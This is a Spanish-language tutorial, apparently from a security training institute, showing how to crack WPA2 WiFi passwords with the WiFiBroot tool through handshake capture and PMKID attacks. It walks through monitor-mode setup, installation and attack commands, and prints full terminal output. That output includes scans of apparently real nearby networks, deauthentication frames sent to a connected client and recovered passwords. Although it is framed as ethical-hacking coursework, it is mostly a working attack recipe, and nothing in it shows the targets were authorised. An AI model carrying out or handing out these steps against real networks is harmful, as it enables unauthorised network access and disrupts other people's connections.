Cómo descifrar la contraseña de cualquier conexión WiFi con WiFibroot

Existen muchas herramientas para romper las contraseñas de los puntos de acceso WiFi. Actualmente, la mayoría de estas redes usan autenticación WPA/WPA2; según especialistas en hacking ético del Instituto Internacional de Seguridad Cibernética (IICS), el métido de autenticación más utilizado es el WPA2. A continuación, le mostraremos cómo romper ese método de cifrado con un handshake de 4 vías y un ataque PMKID.

Handshake de 4 vías

Se crea un protocolo de handshake de cuatro vías para que el cliente inalámbrico y el punto de acceso puedan conocer el PSK de forma independiente. En lugar de decirse las claves entre sí, pueden transferir mensajes cifrados entre sí. El handshake cuatro vías es fundamental para proteger el PSK de los puntos de acceso infectados y se usa para generar claves PTK de clave transitoria por pares.

PMKID es una identificación única utilizada por el punto de acceso para localizar el PMK usado por el cliente. Usando este método, el hacker se comunicará con el punto de acceso vulnerable directamente en lugar de capturar la comunicación entre el punto de acceso y el cliente. Anteriormente los expertos en hacking ético del IICS demostraron ser capaces de hackear cualquier conexión inalámbrica.

Configurar interfaz inalámbrica

  • Para configurar la interfaz inalámbrica, conecte su interfaz inalámbrica con Linux. Abra el terminal  y escriba iwconfig para verificar si la interfaz inalámbrica está conectada. Luego escriba airmon-ng check wlan0
  • Escriba airmon-ng start wlano
  • Escriba iwconfig para verificar si la interfaz inalámbrica se ha iniciado en modo monitor
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# iwconfig
 eth0      no wireless extensions.
 lo        no wireless extensions.
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.462 GHz  Tx-Power=20 dBm
           Retry short limit:7   RTS thr:off   Fragment thr:off
           Power Management:off

Descargar e instalar WIFIBROOT

  • Le mostraremos cómo romper el handshake de cuatro vías. Para las pruebas usaremos Kali Linux 2019.1 amd64
  • Asegúrese de que python3 esté instalado. Para esto, teclee sudo apt-get update && sudo apt-get install python3. Luego escriba sudo apt-get install python3-pip
  • Abra el terminal y escriba git https://github.com/hash3liZer/WiFiBroot.git
  • Escriba cd WiFiBroot && ls
root@kali:/home/iicybersecurity/Downloads# git clone https://github.com/hash3liZer/WiFiBroot.git
 Cloning into 'WiFiBroot'…
 remote: Enumerating objects: 3, done.
 remote: Counting objects: 100% (3/3), done.
 remote: Compressing objects: 100% (3/3), done.
 remote: Total 276 (delta 0), reused 1 (delta 0), pack-reused 273
 Receiving objects: 100% (276/276), 504.20 KiB | 347.00 KiB/s, done.
 Resolving deltas: 100% (166/166), done.
 root@kali:/home/iicybersecurity/Downloads# cd WiFiBroot/
 root@kali:/home/iicybersecurity/Downloads/WiFiBroot# ls
 dicts          handshakes  pull.py    screen.py  wifibroot.py
 exceptions.py  LICENSE     README.md  utils      wireless
  • Escriba python wifibroot.py
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# python wifibroot.py
 Traceback (most recent call last):
   File "wifibroot.py", line 19, in 
     from wireless import Shifter
   File "/home/iicybersecurity/Downloads/WiFiBroot/wireless/init.py", line 3, in 
     from wireless.cracker import PSK
   File "/home/iicybersecurity/Downloads/WiFiBroot/wireless/cracker.py", line 6, in 
     from pbkdf2 import PBKDF2
 ImportError: No module named pbkdf2
  • Si se encuentra el error anterior, escriba pip install pbkdf2
  • Luego escriba python wifibroot.py
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# python wifibroot.py -h
 _        ___  ___ ___  ___   ___
 \\  _ /\*\___*\__\\__\/   \ /   \\___
  \  \\  \\\   \\__\\ /\  ) \\  ) \\  \
   \__\\__\\\   \\__\\ \\__ / \___/ \__\

          v1.0. Coded by @hash3liZer.
Syntax:
     $ python wifibroot.py [--mode [modes]] [--options]
     $ python wifibroot.py --mode 2 -i wlan1mon --verbose -d /path/to/list -w pmkid.txt
 Modes:
     #     Description                                 Value
     01    Capture 4-way handshake and crack MIC code    1
     02    Captures and Crack PMKID (PMKID Attack)       2
     03    Perform Manaul cracking on available
           capture types. See --list-types               3
     04    Deauthentication. Disconnect two stations
           and jam the traffic.                          4
 Use -h, --help after -m, --mode to get help on modes.

Capturar y descifrar el handshake de cuatro vías

  • Escriba python wifibroot.py –mode 1 –type handshake -i wlan0mon –verbose -d /home/iicybersecurity/Downloads/WiFiBroot/dicts/list.txt
  • –mode 1 se utiliza para romper el apretón de manos de cuatro vías
  • -i wlan0mon es el adaptador WiFi utilizado para descifrar redes WiFi. Para crackear estamos usando TP-Link TL – WN722N V1
  • –verbose se usa para imprimir valores hash
  • -d se usa para la ruta del diccionario. Para las pruebas estamos utilizando el diccionario incorporado Wifibroot. Puede usar cualquier lista de palabras o crisis para descifrar contraseñas WiFi
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# python wifibroot.py --mode 1 --type handshake -i wlan0mon --verbose -d /home/iicybersecurity/Downloads/WiFiBroot/dicts/list.txt
 _        ___  ___ ___  ___   ___
 \\  _ /\*\___*\__\\__\/   \ /   \\___
  \  \\  \\\   \\__\\ /\  ) \\  ) \\  \
   \__\\__\\\   \\__\\ \\__ / \___/ \__\

          v1.0. Coded by @hash3liZer.
[*] Path: {/home/iicybersecurity/Downloads/WiFiBroot/dicts/list.txt} Lines {42}
[~] Channel Specified: NONE Hopper Status [Running]
[^] Scanning! Press [CTRL+C] to stop.

  NO  ESSID           PWR  ENC    CIPHER    AUTH      CH  BSSID              VENDOR      CL
----  ------------  -----  -----  --------  ------  ----  -----------------  --------  ----
   1  HATHWAY         -38  WPA2   CCMP      PSK       10  8C:E1:17:8D:5C:E4  zte          2
   2  ZTE-ae1e0e      -40  WPA2   CCMP      PSK        1  88:5D:FB:AE:1E:0E  zte          0
   3  MTNL_HOTSPOT    -78  WPA2   TKIP      PSK       11  0C:D2:B5:2C:55:5D  Binatone     1
   4  Neon`Sunny      -87  WPA2   TKIP      PSK        1  34:E3:80:41:F8:68  Genexis      0
   5  TP-LINK_D9D6    -87  WPA2   CCMP      PSK        1  98:DE:D0:A7:D9:D6  TP-LINK      0
  • Presione Ctrl + C para detener el escaneo. Aquí nuestro objetivo es MTNL_HOTSPOT
  • Ingrese 3 para descifrar MTNL_HOTSPOT
 [] Changing Channel to 11 [SuccessFul]  
  • Ingrese n
[?] AP Clients [1] Scan Further?[Y/n] n
[] Time Interval [15] -> Implies Gap b/w Frames is 15
  • Luego se envía la de-autenticación a los clientes conectados. A continuación se muestra un dispositivo conectado con el punto de acceso
[^] 32-> 8CBEBE314C0F (Xiaomi) >< 0CD2B52C555D (Binatone) [Deauthentication] 
[^] 32-> 8CBEBE314C0F (Xiaomi) >< 0CD2B52C555D (Binatone) [Deauthentication] 
[^] 32-> 8CBEBE314C0F (Xiaomi) >< 0CD2B52C555D (Binatone) [Deauthentication]
  • Como el usuario ingresará la contraseña en su propio dispositivo, Wifibroot capturará el handshake y la contraseña
[+] Handshake 0CD2B52C555D (Binatone) [Captured]
[!] Handshake not saved. Use -w, --write for saving handshakes.
[^] Current Password: 29054367
[+] Found: 29054367
 [>] PMK:
 00000000:  74 0a ac 04 01 16 0c dd  73 fb 4e fa 50 17 18 7f  |t…….s.N.P…|
 00000010:  a1 c0 92 36 45 20 94 15  79 42 17 bb e2 21 5d 42  |…6E…yB…!]B|
 [>] PTK:
 00000000:  95 5f ee 82 ca c3 a2 b5  b1 a1 75 4a 11 a2 d8 05  |._……..uJ….|
 00000010:  49 08 62 ec 2b b9 e6 12  13 bd f8 53 7a 0d ce a0  |I.b.+……Sz…|
 00000020:  5c 4f d1 ca 04 32 4c bb  f4 6a 27 21 83 26 b3 ad  |\O…2L..j'!.&..|
 00000030:  84 42 fb e4 49 b7 e4 e2  65 03 58 d2 30 f2 35 cb  |.B..I…e.X.0.5.|
 [>] MIC:
 00000000:  da 86 9b 74 b7 d5 aa 67  2a 7d 78 aa 30 0e df e4  |…t…g*}x.0…|
 00000010:  29 9a d2 de                             
  • Arriba se muestra que la contraseña actual es 29054367
  • Todos estos escenarios son parte de los cursos de hacking ético ofrecidos por el Instituto Internacional de Seguridad Cibernética

Capturar y descifrar PMKID

  • Escriba python wifibroot.py –mode 2 -i wlan0mon –verbose -d dicts/list.txt -w output.txt
  • –mode 2 se utiliza captura y crack PMKID
  • -i wlan0mon es el adaptador wifi utilizado para descifrar redes WiFi. Para el craqueo estamos usando TP-Link TL – WN722N V1
  • –verbose se usa para imprimir valores hash
  • -d se usa para la ruta del diccionario. Para las pruebas estamos utilizando el diccionario incorporado Wifibroot. Puede usar cualquier lista de palabras
  • -w output.txt guardará el PMKID
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# python wifibroot.py --mode 2 -i wlan0mon --verbose -d dicts/list.txt -w output.txt
 _        ___  ___ ___  ___   ___
 \\  _ /\*\___*\__\\__\/   \ /   \\___
  \  \\  \\\   \\__\\ /\  ) \\  ) \\  \
   \__\\__\\\   \\__\\ \\__ / \___/ \__\

          v1.0. Coded by @hash3liZer.

[*] Path: {dicts/list.txt} Lines {42}
[~] Channel Specified: NONE Hopper Status [Running]
[^] Scanning! Press [CTRL+C] to stop.
  • Presione Ctrl + C para detener el escaneo. Aquí nuestro objetivo es new_T03_T1
NO  ESSID                               PWR  ENC       CIPHER    AUTH      CH  BSSID              VENDOR      CL
 ----  --------------------------------  -----  --------  --------  ------  ----  -----------------  --------  ----
    1  Pankaj@9212458712                   -23  WPA2      CCMP      PSK        6  18:A6:F7:9B:27:DC  TP-LINK      0
    2  Cbi                                 -29  WPA2      CCMP      PSK        2  00:E0:4C:3B:37:08  REALTEK      0
    3  naidus                              -45  WPA       CCMP      PSK        2  C8:3A:35:0B:26:08  Tenda        0
    4  Lucky                               -47  WPA2      TKIP      PSK        1  54:B8:0A:07:82:D2  D-Link       0
    5  new_T03_T1                          -50  WPA2      TKIP      PSK       11  90:8D:78:F2:95:E3  D-Link       3
    6  DIRECT-28-HP DeskJet 2600 series    -59  WPA2      CCMP      PSK        6  B4:B6:86:65:DC:29  Hewlett      0
    7  Worldview@37                        -76  WPA2      CCMP      PSK        1  04:95:E6:A2:58:20  Tenda        0
    8  Sushil@WVC9312408388                -84  WPA       CCMP      PSK       11  0C:D2:B5:3D:0D:3C  Binatone     0
    9  Excitel                             -85  WPA2      CCMP      PSK        6  00:1E:A6:DB:B3:C0  Best         0
   10  Bunty                               -86  WPA2      CCMP      PSK        7  04:95:E6:87:AB:48  Tenda        0
   11  Excitel@43                          -86  WPA2/WPA  CCMP      PSK        7  C8:3A:35:46:BA:F8  Tenda        0
   12  Worldview@tanpreet                  -88  WPA2      TKIP      PSK       13  A0:AB:1B:D9:09:08  D-Link       0
  • Ingrese 5 para descifrar new_T03_T1
[^] 3 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
 [^] 2 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
 [^] 1 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
 [^] 3 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
 [^] 2 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
 [^] 1 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
 [^] 3 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
 [^] 2 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
 [^] 1 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
 [] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Open Authentication] [] Authentication 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [SuccessFull]
 [^] 4 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Association Request]
 [^] 3 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Association Request]
 [] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response] [] Authentication 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [SuccessFull]
[] EAPOL 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [Waiting…] 
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response] 
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response] 
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response] 
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response] 
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response] 
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response] 
[] EAPOL 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [Initiated]
[^] EAPOL 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [1 of 4]
[~] Vulnerable to PMKID Attack!
[^] PMKID 908D78F295E3 (D-Link) [a31f70cc4ed5cabb67ae4d56f11ec0b6]
[+] PMKID -> [output.txt] [Saved]
[^] Currently Checking: accessme
[+] Password Found: accessme
[>] PMKID:
 00000000:  61 33 31 66 37 30 63 63  34 65 64 35 63 61 62 62  |a31f70cc4ed5cabb|
 00000010:  36 37 61 65 34 64 35 36  66 31 31 65 63 30 62 36  |67ae4d56f11ec0b6|
 [>] PMK:
 00000000:  93 89 96 03 d0 e8 ab bd  e8 8b f1 1b fb 8f 05 18  |…………….|
 00000010:  58 1e e3 cb 6d 2b ff 0d  b4 96 b4 fa 74 57 bd 77  |X…m+……tW.w| 
  • Arriba se muestra la contraseña del punto de acceso objetivo